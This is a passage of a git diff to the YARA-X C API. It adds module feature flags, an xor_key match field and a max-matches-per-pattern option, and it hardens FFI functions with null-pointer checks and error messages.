issue](https://github.com/VirusTotal/yara-x/issues/new) if you -find a bug or some feature that you want to see implemented. \ No newline at end of file +find a bug or some feature that you want to see implemented. + +## Contributing + +Contributions to YARA-X are welcome! For details on the Google Contributor License Agreement (CLA) requirement, code style conventions, and how to submit pull requests, please read [CONTRIBUTING.md](CONTRIBUTING.md). \ No newline at end of file diff --git a/capi/Cargo.toml b/capi/Cargo.toml index 7cdf6d499..190af86cc 100644 --- a/capi/Cargo.toml +++ b/capi/Cargo.toml @@ -13,7 +13,7 @@ repository.workspace = true [features] # The `capi` feature is required by `cargo-c`. -default = ["capi"] +default = ["capi", "yara-x/default-modules"] capi = [] # When enabled, the serialization of compiled rules include native code for @@ -45,14 +45,46 @@ pulley = ["yara-x/pulley"] # This feature is disabled by default. rules-profiling = ["yara-x/rules-profiling"] -# Enables the `magic` module. +# Features for enabling individual YARA-X modules. +console-module = ["yara-x/console-module"] +crx-module = ["yara-x/crx-module"] +cuckoo-module = ["yara-x/cuckoo-module"] +dex-module = ["yara-x/dex-module"] +dotnet-module = ["yara-x/dotnet-module"] +elf-module = ["yara-x/elf-module"] +hash-module = ["yara-x/hash-module"] +lnk-module = ["yara-x/lnk-module"] +macho-module = ["yara-x/macho-module"] +magic-module = ["yara-x/magic-module"] +math-module = ["yara-x/math-module"] +pe-module = ["yara-x/pe-module"] +string-module = ["yara-x/string-module"] +time-module = ["yara-x/time-module"] +vt-module = ["yara-x/vt-module"] +zip-module = ["yara-x/zip-module"] +test_proto2-module = ["yara-x/test_proto2-module"] +test_proto3-module = ["yara-x/test_proto3-module"] + +# Enables internal logging and automatically writes log messages to stderr. +# +# When this feature is enabled, log output can be configured via the `YRX_LOG` +# environment variable set to any of the log levels: `error`, `warn`, `info`, +# `debug`, or `trace`. +# +# You can also specify different log levels for specific targets/modules using +# comma-separated `target=level` directives: +# +# YRX_LOG=info +# YRX_LOG=yara_x=debug +# YRX_LOG=warn,yara_x::compiler=trace # # This feature is disabled by default. -magic-module = ["yara-x/magic-module"] +stderr-logs = ["yara-x/stderr-logs"] + [lib] name = "yara_x_capi" -crate-type = ["staticlib", "cdylib"] +crate-type = ["staticlib", "cdylib", "rlib"] [dependencies] serde_json = { workspace = true } diff --git a/capi/include/yara_x.h b/capi/include/yara_x.h index ee6f0eb5f..05aca8f7c 100644 --- a/capi/include/yara_x.h +++ b/capi/include/yara_x.h @@ -122,6 +122,9 @@ typedef struct YRX_MATCH { size_t offset; // Length of the match. size_t length; + // XOR key used for decrypting the data if the pattern had the `xor` + // modifier, or -1 if otherwise. + int16_t xor_key; } YRX_MATCH; // Callback function passed to [`yrx_pattern_iter_matches`]. @@ -345,7 +348,7 @@ enum YRX_RESULT yrx_compiler_add_source_with_origin(struct YRX_COMPILER *compile enum YRX_RESULT yrx_compiler_add_include_dir(struct YRX_COMPILER *compiler, const char *dir); -// Tell the compiler that a YARA module is not supported. +// Tell the compiler that a YARA module should be ignored. // // Import statements for ignored modules will be ignored without errors but a // warning will be issued. Any rule that make use of an ignored module will be @@ -716,6 +719,13 @@ enum YRX_RESULT yrx_scanner_set_timeout(struct YRX_SCANNER *scanner, enum YRX_RESULT yrx_scanner_fast_scan(struct YRX_SCANNER *scanner, bool yes); +// Sets the maximum number of matches per pattern. +// +// When a pattern reaches the maximum number of matches it won't produce more +// matches. +enum YRX_RESULT yrx_scanner_max_matches_per_pattern(struct YRX_SCANNER *scanner, + size_t n); + // Scans a data buffer. // // `data` can be null as long as `len` is 0. In such cases its handled as diff --git a/capi/src/compiler.rs b/capi/src/compiler.rs index 074c50edd..82e61e10e 100644 --- a/capi/src/compiler.rs +++ b/capi/src/compiler.rs @@ -78,13 +78,19 @@ fn _yrx_compiler_create<'a>(flags: u32) -> yara_x::Compiler<'a> { #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_compiler_create( flags: u32, - compiler: &mut *mut YRX_COMPILER, + compiler: *mut *mut YRX_COMPILER, ) -> YRX_RESULT { + if compiler.is_null() { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + *compiler = Box::into_raw(Box::new(YRX_COMPILER { inner: _yrx_compiler_create(flags), flags, })); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -124,10 +130,12 @@ pub unsafe extern "C" fn yrx_compiler_add_source_with_origin( let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; if src.is_null() { + _yrx_set_last_error(Some("`src` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } @@ -138,7 +146,10 @@ pub unsafe extern "C" fn yrx_compiler_add_source_with_origin( let origin = CStr::from_ptr(origin); src = match origin.to_str() { Ok(origin) => src.with_origin(origin), - Err(_) => return YRX_RESULT::YRX_INVALID_ARGUMENT, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; } @@ -171,25 +182,30 @@ pub unsafe extern "C" fn yrx_compiler_add_include_dir( let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; if dir.is_null() { + _yrx_set_last_error(Some("`dir` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } - let dir = if let Ok(dir) = CStr::from_ptr(dir).to_str() { - dir - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let dir = match CStr::from_ptr(dir).to_str() { + Ok(dir) => dir, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; compiler.inner.add_include_dir(dir); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } -/// Tell the compiler that a YARA module is not supported. +/// Tell the compiler that a YARA module should be ignored. /// /// Import statements for ignored modules will be ignored without errors but a /// warning will be issued. Any rule that make use of an ignored module will be @@ -203,21 +219,26 @@ pub unsafe extern "C" fn yrx_compiler_ignore_module( let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; if module.is_null() { + _yrx_set_last_error(Some("`module` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } - let module = if let Ok(module) = CStr::from_ptr(module).to_str() { - module - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let module = match CStr::from_ptr(module).to_str() { + Ok(module) => module, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; compiler.inner.ignore_module(module); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -232,11 +253,13 @@ pub unsafe extern "C" fn yrx_compiler_max_warnings( let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; compiler.inner.max_warnings(n); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -295,21 +318,26 @@ pub unsafe extern "C" fn yrx_compiler_enable_feature( let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; if feature.is_null() { + _yrx_set_last_error(Some("`feature` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } - let feature = if let Ok(module) = CStr::from_ptr(feature).to_str() { - module - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let feature = match CStr::from_ptr(feature).to_str() { + Ok(module) => module, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; compiler.inner.enable_feature(feature); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -330,34 +358,44 @@ pub unsafe extern "C" fn yrx_compiler_ban_module( let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; if module.is_null() || error_title.is_null() || error_msg.is_null() { + _yrx_set_last_error(Some( + "`module`, `error_title`, and `error_msg` pointers cannot be null", + )); return YRX_RESULT::YRX_INVALID_ARGUMENT; } - let module = if let Ok(module) = CStr::from_ptr(module).to_str() { - module - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let module = match CStr::from_ptr(module).to_str() { + Ok(module) => module, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; - let err_title = if let Ok(err_title) = CStr::from_ptr(error_title).to_str() - { - err_title - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let err_title = match CStr::from_ptr(error_title).to_str() { + Ok(err_title) => err_title, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; - let err_msg = if let Ok(err_msg) = CStr::from_ptr(error_msg).to_str() { - err_msg - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let err_msg = match CStr::from_ptr(error_msg).to_str() { + Ok(err_msg) => err_msg, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; compiler.inner.ban_module(module, err_title, err_msg); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -376,21 +414,26 @@ pub unsafe extern "C" fn yrx_compiler_new_namespace( let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; if namespace.is_null() { + _yrx_set_last_error(Some("`namespace` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } - let namespace = if let Ok(namespace) = CStr::from_ptr(namespace).to_str() { - namespace - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let namespace = match CStr::from_ptr(namespace).to_str() { + Ok(namespace) => namespace, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; compiler.inner.new_namespace(namespace); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -411,17 +454,21 @@ unsafe fn yrx_compiler_define_global< let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; if ident.is_null() { + _yrx_set_last_error(Some("`ident` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } - let ident = if let Ok(ident) = CStr::from_ptr(ident).to_str() { - ident - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let ident = match CStr::from_ptr(ident).to_str() { + Ok(ident) => ident, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; match compiler.inner.define_global(ident, value) { @@ -444,13 +491,16 @@ pub unsafe extern "C" fn yrx_compiler_define_global_str( value: *const c_char, ) -> YRX_RESULT { if value.is_null() { + _yrx_set_last_error(Some("`value` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } - let value = if let Ok(value) = CStr::from_ptr(value).to_str() { - value - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let value = match CStr::from_ptr(value).to_str() { + Ok(value) => value, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; yrx_compiler_define_global(compiler, ident, value) @@ -502,18 +552,24 @@ pub unsafe extern "C" fn yrx_compiler_define_global_json( value: *const c_char, ) -> YRX_RESULT { if value.is_null() { + _yrx_set_last_error(Some("`value` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } - let value = if let Ok(value) = CStr::from_ptr(value).to_str() { - value - } else { - return YRX_RESULT::YRX_INVALID_ARGUMENT; + let value = match CStr::from_ptr(value).to_str() { + Ok(value) => value, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; let value: serde_json::Value = match serde_json::from_str(value) { Ok(json_value) => json_value, - Err(_) => return YRX_RESULT::YRX_INVALID_ARGUMENT, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; yrx_compiler_define_global(compiler, ident, value) @@ -559,11 +615,19 @@ pub unsafe extern "C" fn yrx_compiler_define_global_json( #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_compiler_errors_json( compiler: *mut YRX_COMPILER, - buf: &mut *mut YRX_BUFFER, + buf: *mut *mut YRX_BUFFER, ) -> YRX_RESULT { + if buf.is_null() { + _yrx_set_last_error(Some("`buf` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + + *buf = std::ptr::null_mut(); + let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; @@ -625,11 +689,19 @@ pub unsafe extern "C" fn yrx_compiler_errors_json( #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_compiler_warnings_json( compiler: *mut YRX_COMPILER, - buf: &mut *mut YRX_BUFFER, + buf: *mut *mut YRX_BUFFER, ) -> YRX_RESULT { + if buf.is_null() { + _yrx_set_last_error(Some("`buf` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + + *buf = std::ptr::null_mut(); + let compiler = if let Some(compiler) = compiler.as_mut() { compiler } else { + _yrx_set_last_error(Some("`compiler` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; diff --git a/capi/src/lib.rs b/capi/src/lib.rs index 2ede20ae6..53f8e53da 100644 --- a/capi/src/lib.rs +++ b/capi/src/lib.rs @@ -58,7 +58,7 @@ test program, like this: cat < test.c #include int main() { - YRX_RULES* rules; + YRX_RULES* rules = NULL; yrx_compile("rule dummy { condition: true }", &rules); yrx_rules_destroy(rules); } @@ -124,7 +124,13 @@ fn _yrx_set_last_error(err: Option) where E: ToString, { - LAST_ERROR.set(err.map(|err| CString::new(err.to_string()).unwrap())) + LAST_ERROR.set(err.map(|err| { + CString::new(err.to_string()).unwrap_or_else(|e| { + let mut bytes = e.into_vec(); + bytes.retain(|&b| b != 0); + CString::new(bytes).unwrap() + }) + })) } /// Error codes returned by functions in this API. @@ -182,6 +188,9 @@ pub struct YRX_MATCH { pub offset: usize, /// Length of the match. pub length: usize, + /// XOR key used for decrypting the data if the pattern had the `xor` + /// modifier, or -1 if otherwise. + pub xor_key: i16, } /// Represents a buffer with arbitrary data. @@ -219,9 +228,15 @@ pub unsafe extern "C" fn yrx_buffer_destroy(buf: *mut YRX_BUFFER) { #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_compile( src: *const c_char, - rules: &mut *mut YRX_RULES, + rules: *mut *mut YRX_RULES, ) -> YRX_RESULT { + if rules.is_null() { + _yrx_set_last_error(Some("`rules` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + *rules = std::ptr::null_mut(); if src.is_null() { + _yrx_set_last_error(Some("`src` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } let c_str = CStr::from_ptr(src); diff --git a/capi/src/pattern.rs b/capi/src/pattern.rs index ee28936d4..45ed20293 100644 --- a/capi/src/pattern.rs +++ b/capi/src/pattern.rs @@ -23,15 +23,22 @@ impl<'a, 'r> YRX_PATTERN<'a, 'r> { #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_pattern_identifier( pattern: *const YRX_PATTERN, - ident: &mut *const u8, - len: &mut usize, + ident: *mut *const u8, + len: *mut usize, ) -> YRX_RESULT { + if ident.is_null() || len.is_null() { + _yrx_set_last_error(Some("`ident` and `len` pointers cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } if let Some(pattern) = pattern.as_ref() { *ident = pattern.0.identifier().as_ptr(); *len = pattern.0.identifier().len(); _yrx_set_last_error::(None); YRX_RESULT::YRX_SUCCESS } else { + *ident = std::ptr::null(); + *len = 0; + _yrx_set_last_error(Some("`pattern` pointer cannot be null")); YRX_RESULT::YRX_INVALID_ARGUMENT } } @@ -46,8 +53,9 @@ pub unsafe extern "C" fn yrx_pattern_identifier( /// /// The callback also receives a `user_data` pointer that can point to arbitrary /// data owned by the user. -pub type YRX_MATCH_CALLBACK = - extern "C" fn(match_: *const YRX_MATCH, user_data: *mut c_void) -> (); +pub type YRX_MATCH_CALLBACK = Option< + extern "C" fn(match_: *const YRX_MATCH, user_data: *mut c_void) -> (), +>; /// Iterates over the matches of a pattern, calling the callback with a pointer /// to a [`YRX_MATCH`] structure for each pattern. @@ -65,15 +73,26 @@ pub unsafe extern "C" fn yrx_pattern_iter_matches( let matches_iter = if let Some(pattern) = pattern.as_ref() { pattern.0.matches() } else { + _yrx_set_last_error(Some("`pattern` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + }; + + let Some(callback) = callback else { + _yrx_set_last_error(Some("`callback` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; for m in matches_iter { callback( - &YRX_MATCH { offset: m.range().start, length: m.range().len() }, + &YRX_MATCH { + offset: m.range().start, + length: m.range().len(), + xor_key: m.xor_key().map_or(-1, |k| k as i16), + }, user_data, ) } + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } diff --git a/capi/src/rule.rs b/capi/src/rule.rs index 968c76d72..d468284a5 100644 --- a/capi/src/rule.rs +++ b/capi/src/rule.rs @@ -27,15 +27,22 @@ impl<'a, 'r> YRX_RULE<'a, 'r> { #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_rule_identifier( rule: *const YRX_RULE, - ident: &mut *const u8, - len: &mut usize, + ident: *mut *const u8, + len: *mut usize, ) -> YRX_RESULT { + if ident.is_null() || len.is_null() { + _yrx_set_last_error(Some("`ident` and `len` pointers cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } if let Some(rule) = rule.as_ref() { *ident = rule.0.identifier().as_ptr(); *len = rule.0.identifier().len(); _yrx_set_last_error::(None); YRX_RESULT::YRX_SUCCESS } else { + *ident = std::ptr::null(); + *len = 0; + _yrx_set_last_error(Some("`rule` pointer cannot be null")); YRX_RESULT::YRX_INVALID_ARGUMENT } } @@ -51,15 +58,22 @@ pub unsafe extern "C" fn yrx_rule_identifier( #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_rule_namespace( rule: *const YRX_RULE, - ns: &mut *const u8, - len: &mut usize, + ns: *mut *const u8, + len: *mut usize, ) -> YRX_RESULT { + if ns.is_null() || len.is_null() { + _yrx_set_last_error(Some("`ns` and `len` pointers cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } if let Some(rule) = rule.as_ref() { *ns = rule.0.namespace().as_ptr(); *len = rule.0.namespace().len(); _yrx_set_last_error::(None); YRX_RESULT::YRX_SUCCESS } else { + *ns = std::ptr::null(); + *len = 0; + _yrx_set_last_error(Some("`rule` pointer cannot be null")); YRX_RESULT::YRX_INVALID_ARGUMENT } } @@ -74,8 +88,9 @@ pub unsafe extern "C" fn yrx_rule_namespace( /// /// The callback also receives a `user_data` pointer that can point to arbitrary /// data owned by the user. -pub type YRX_METADATA_CALLBACK = - extern "C" fn(metadata: *const YRX_METADATA, user_data: *mut c_void) -> (); +pub type YRX_METADATA_CALLBACK = Option< + extern "C" fn(metadata: *const YRX_METADATA, user_data: *mut c_void) -> (), +>; /// Iterates over the metadata of a rule, calling the callback with a pointer /// to a [`YRX_METADATA`] structure for each metadata in the rule. @@ -93,6 +108,12 @@ pub unsafe extern "C" fn yrx_rule_iter_metadata( let metadata_iter = if let Some(rule) = rule.as_ref() { rule.0.metadata() } else { + _yrx_set_last_error(Some("`rule` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + }; + + let Some(callback) = callback else { + _yrx_set_last_error(Some("`callback` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; @@ -111,13 +132,28 @@ pub unsafe extern "C" fn yrx_rule_iter_metadata( YRX_METADATA_TYPE::YRX_BOOLEAN, YRX_METADATA_VALUE { boolean: v }, ), - MetaValue::String(v) => { - string = CString::new(v).unwrap(); - ( - YRX_METADATA_TYPE::YRX_STRING, - YRX_METADATA_VALUE { string: string.as_ptr() }, - ) - } + MetaValue::String(v) => match CString::new(v) { + Ok(s) => { + string = s; + ( + YRX_METADATA_TYPE::YRX_STRING, + YRX_METADATA_VALUE { string: string.as_ptr() }, + ) + } + // C strings cannot contain interior null bytes; if a metadata + // string contains one (for instance, in rules serialized + // before literal null bytes were classified as `Bytes`), + // expose it as `YRX_BYTES` instead of panicking across FFI. + Err(_) => ( + YRX_METADATA_TYPE::YRX_BYTES, + YRX_METADATA_VALUE { + bytes: YRX_METADATA_BYTES { + length: v.len(), + data: v.as_ptr(), + }, + }, + ), + }, MetaValue::Bytes(v) => ( YRX_METADATA_TYPE::YRX_BYTES, YRX_METADATA_VALUE { @@ -139,6 +175,7 @@ pub unsafe extern "C" fn yrx_rule_iter_metadata( ) } + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -152,8 +189,9 @@ pub unsafe extern "C" fn yrx_rule_iter_metadata( /// /// The callback also receives a `user_data` pointer that can point to arbitrary /// data owned by the user. -pub type YRX_PATTERN_CALLBACK = - extern "C" fn(pattern: *const YRX_PATTERN, user_data: *mut c_void) -> (); +pub type YRX_PATTERN_CALLBACK = Option< + extern "C" fn(pattern: *const YRX_PATTERN, user_data: *mut c_void) -> (), +>; /// Iterates over the patterns in a rule, calling the callback with a pointer /// to a [`YRX_PATTERN`] structure for each pattern. @@ -171,6 +209,12 @@ pub unsafe extern "C" fn yrx_rule_iter_patterns( let patterns_iter = if let Some(rule) = rule.as_ref() { rule.0.patterns() } else { + _yrx_set_last_error(Some("`rule` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + }; + + let Some(callback) = callback else { + _yrx_set_last_error(Some("`callback` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; @@ -178,6 +222,7 @@ pub unsafe extern "C" fn yrx_rule_iter_patterns( callback(&YRX_PATTERN::new(pattern), user_data) } + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -192,7 +237,7 @@ pub unsafe extern "C" fn yrx_rule_iter_patterns( /// The callback also receives a `user_data` pointer that can point to arbitrary /// data owned by the user. pub type YRX_TAG_CALLBACK = - extern "C" fn(tag: *const c_char, user_data: *mut c_void) -> (); + Option ()>; /// Iterates over the tags in a rule, calling the callback with a pointer /// to each tag. @@ -210,6 +255,12 @@ pub unsafe extern "C" fn yrx_rule_iter_tags( let tags_iter = if let Some(rule) = rule.as_ref() { rule.0.tags() } else { + _yrx_set_last_error(Some("`rule` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + }; + + let Some(callback) = callback else { + _yrx_set_last_error(Some("`callback` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; @@ -218,5 +269,6 @@ pub unsafe extern "C" fn yrx_rule_iter_tags( callback(tag_name.as_ptr(), user_data) } + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } diff --git a/capi/src/rules.rs b/capi/src/rules.rs index 4703f3da3..f65290f0b 100644 --- a/capi/src/rules.rs +++ b/capi/src/rules.rs @@ -34,7 +34,7 @@ impl YRX_RULES { /// It also receives the `user_data` pointer that can point to arbitrary data /// owned by the user. pub type YRX_RULE_CALLBACK = - extern "C" fn(rule: *const YRX_RULE, user_data: *mut c_void) -> (); + Option ()>; /// Iterates over the compiled rules, calling the callback function for each /// rule. @@ -49,15 +49,23 @@ pub unsafe extern "C" fn yrx_rules_iter( callback: YRX_RULE_CALLBACK, user_data: *mut c_void, ) -> YRX_RESULT { - if let Some(rules) = rules.as_ref() { - for r in rules.inner().iter() { - let rule = YRX_RULE::new(r); - callback(&rule as *const YRX_RULE, user_data); - } - YRX_RESULT::YRX_SUCCESS - } else { - YRX_RESULT::YRX_INVALID_ARGUMENT + let Some(rules) = rules.as_ref() else { + _yrx_set_last_error(Some("`rules` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + }; + + let Some(callback) = callback else { + _yrx_set_last_error(Some("`callback` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + }; + + for r in rules.inner().iter() { + let rule = YRX_RULE::new(r); + callback(&rule as *const YRX_RULE, user_data); } + + _yrx_set_last_error::<&str>(None); + YRX_RESULT::YRX_SUCCESS } /// Returns the total number of rules. @@ -66,8 +74,10 @@ pub unsafe extern "C" fn yrx_rules_iter( #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_rules_count(rules: *mut YRX_RULES) -> c_int { if let Some(rules) = rules.as_ref() { + _yrx_set_last_error::<&str>(None); rules.inner().iter().len() as c_int } else { + _yrx_set_last_error(Some("`rules` pointer cannot be null")); -1 } } @@ -83,8 +93,15 @@ pub unsafe extern "C" fn yrx_rules_count(rules: *mut YRX_RULES) -> c_int { #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_rules_serialize( rules: *const YRX_RULES, - buf: &mut *mut YRX_BUFFER, + buf: *mut *mut YRX_BUFFER, ) -> YRX_RESULT { + if buf.is_null() { + _yrx_set_last_error(Some("`buf` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + + *buf = std::ptr::null_mut(); + if let Some(rules) = rules.as_ref() { match rules.inner().serialize() { Ok(serialized) => { @@ -103,6 +120,7 @@ pub unsafe extern "C" fn yrx_rules_serialize( } } } else { + _yrx_set_last_error(Some("`rules` pointer cannot be null")); YRX_RESULT::YRX_INVALID_ARGUMENT } } @@ -113,11 +131,19 @@ pub unsafe extern "C" fn yrx_rules_serialize( pub unsafe extern "C" fn yrx_rules_deserialize( data: *const u8, len: usize, - rules: &mut *mut YRX_RULES, + rules: *mut *mut YRX_RULES, ) -> YRX_RESULT { + if rules.is_null() { + _yrx_set_last_error(Some("`rules` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + if data.is_null() { + *rules = std::ptr::null_mut(); + _yrx_set_last_error(Some("`data` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; } + match yara_x::Rules::deserialize(slice::from_raw_parts(data, len)) { Ok(r) => { *rules = Box::into_raw(YRX_RULES::boxed(r)); @@ -125,6 +151,7 @@ pub unsafe extern "C" fn yrx_rules_deserialize( YRX_RESULT::YRX_SUCCESS } Err(err) => { + *rules = std::ptr::null_mut(); _yrx_set_last_error(Some(err)); YRX_RESULT::YRX_SERIALIZATION_ERROR } @@ -141,8 +168,9 @@ pub unsafe extern "C" fn yrx_rules_deserialize( /// /// The callback also receives a `user_data` pointer that can point to arbitrary /// data owned by the user. -pub type YRX_IMPORT_CALLBACK = - extern "C" fn(module_name: *const c_char, user_data: *mut c_void) -> (); +pub type YRX_IMPORT_CALLBACK = Option< + extern "C" fn(module_name: *const c_char, user_data: *mut c_void) -> (), +>; /// Iterates over the modules imported by the rules, calling the callback with /// the name of each imported module. @@ -157,15 +185,23 @@ pub unsafe extern "C" fn yrx_rules_iter_imports( callback: YRX_IMPORT_CALLBACK, user_data: *mut c_void, ) -> YRX_RESULT { - if let Some(rules) = rules.as_ref() { - for import in rules.inner().imports() { - let import = CString::new(import).unwrap(); - callback(import.as_ptr(), user_data); - } - YRX_RESULT::YRX_SUCCESS - } else { - YRX_RESULT::YRX_INVALID_ARGUMENT + let Some(rules) = rules.as_ref() else { + _yrx_set_last_error(Some("`rules` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + }; + + let Some(callback) = callback else { + _yrx_set_last_error(Some("`callback` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + }; + + for import in rules.inner().imports() { + let import = CString::new(import).unwrap(); + callback(import.as_ptr(), user_data); } + + _yrx_set_last_error::<&str>(None); + YRX_RESULT::YRX_SUCCESS } /// Destroys a [`YRX_RULES`] object. diff --git a/capi/src/scanner.rs b/capi/src/scanner.rs index 71103c0b7..7c64d245c 100644 --- a/capi/src/scanner.rs +++ b/capi/src/scanner.rs @@ -47,6 +47,19 @@ impl<'r> InnerScanner<'r> { self } + fn max_matches_per_pattern(&mut self, n: usize) -> &mut Self { + match self { + InnerScanner::SingleBlock(s) => { + s.max_matches_per_pattern(n); + } + InnerScanner::MultiBlock(s) => { + s.max_matches_per_pattern(n); + } + InnerScanner::None => unreachable!(), + } + self + } + fn make_multi_block(&mut self) -> &mut yara_x::blocks::Scanner<'r> { // Already a multi-block scanner, nothing else to do. if let Self::MultiBlock(s) = self { @@ -106,7 +119,10 @@ impl<'r> InnerScanner<'r> { /// A scanner that scans data with a set of compiled YARA rules. pub struct YRX_SCANNER<'r, 'm> { inner: InnerScanner<'r>, - on_matching_rule: Option<(YRX_RULE_CALLBACK, *mut c_void)>, + on_matching_rule: Option<( + extern "C" fn(rule: *const YRX_RULE, user_data: *mut c_void), + *mut c_void, + )>, module_data: HashMap<&'m str, &'m [u8]>, } @@ -121,11 +137,19 @@ pub struct YRX_SCANNER<'r, 'm> { #[unsafe(no_mangle)] pub unsafe extern "C" fn yrx_scanner_create( rules: *const YRX_RULES, - 